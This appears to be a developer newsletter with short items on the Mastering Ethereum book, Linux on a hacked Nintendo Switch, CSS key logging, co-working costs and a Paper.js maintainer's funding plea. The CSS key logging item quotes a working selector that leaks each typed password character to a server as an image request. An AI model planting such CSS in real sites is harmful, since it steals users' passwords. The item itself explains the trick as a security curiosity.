Mastering Ethereum 📖

The book isn't due for publication by O'Reilly until Q4 of this year, but content and progress is publicly available on GitHub today. Here's the skinny: a book for developers, offering a guide to the operation and use of the Ethereum, Ethereum Classic, RootStock (RSK) and other compatible EVM-based open blockchains. Co-authored by Andreas Antonopoulos and Gavin Wood, Mastering Ethereum has a high chance of being excellent. 👌

Hackers have turned the Nintendo Switch into a functional Linux tablet

Paul Miller: There are two major reasons I can think of to hack a game console. The first one is obvious: so you can play cracked copies of games. That’s why modern consoles are so difficult to hack, because millions of dollars are on the line. But some people just want to run any software they choose on the hardware they own. And for those people, Linux on the Switch is a huge achievement. This hack boasts touchscreen support, a fully operational death star web browser, and a GPU-powered demo app. Sadly, there are no details out on how you can do it yourself, but Twitter user fail0verlow has a nice video of it in action embedded in a tweet.

CSS key logging is a thing?! 😱

Turns out it definitely can be, as long as you are using a component-style JavaScript tool (such as React) that updates input values on every keypress. Here's how it works: Utilizing CSS attribute selectors, one can request resources from an external server under the premise of loading a background-image. Add some CSS that looks like this: input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } When the user types an a in to the password field, it will hit your server for logging. Dastardly!

We're paying a premium for co-workers

We all need co-workers. Some get them for free. Others have to pay for them. We’re trending towards paying for them. As workers from home, we often work in complete isolation. Most of us like it that way. The rest of us are lonely. To get some much needed interaction with other like-minded humans we turn to Slack, Twitter, Instagram, Facebook, LinkedIn, Snapchat, iMessage – pretty much anything that gives us hope, connection, acceptance, and value – the four pillars of a healthy human. That works, mostly. But not really. For many, the only option is to pay for co-workers. Need community? Join the Changelog Community for free -- it costs zero.

"This is a call for help."

Jürg Lenhi, writes in this tweet thread: Let's talk about open-source. I've been developing and maintaining Paper.js for years. It has 8,700 stars on GitHub. Multiple big companies have done projects and products with it. Yet donations and sponsored features are very few, and I need to accept other work to sustain a living. There are several more tweets that follow this up with more details from Jürg, but what I found missing, is an awareness of what a healthy relationship for him and this project looks like. If we've learned anything from Request For Commits, it is that money doesn't solve the open source maintainer problem, so donations or Patreon alone aren't a fix. (Thanks to Cody for sharing this in our community Slack.)
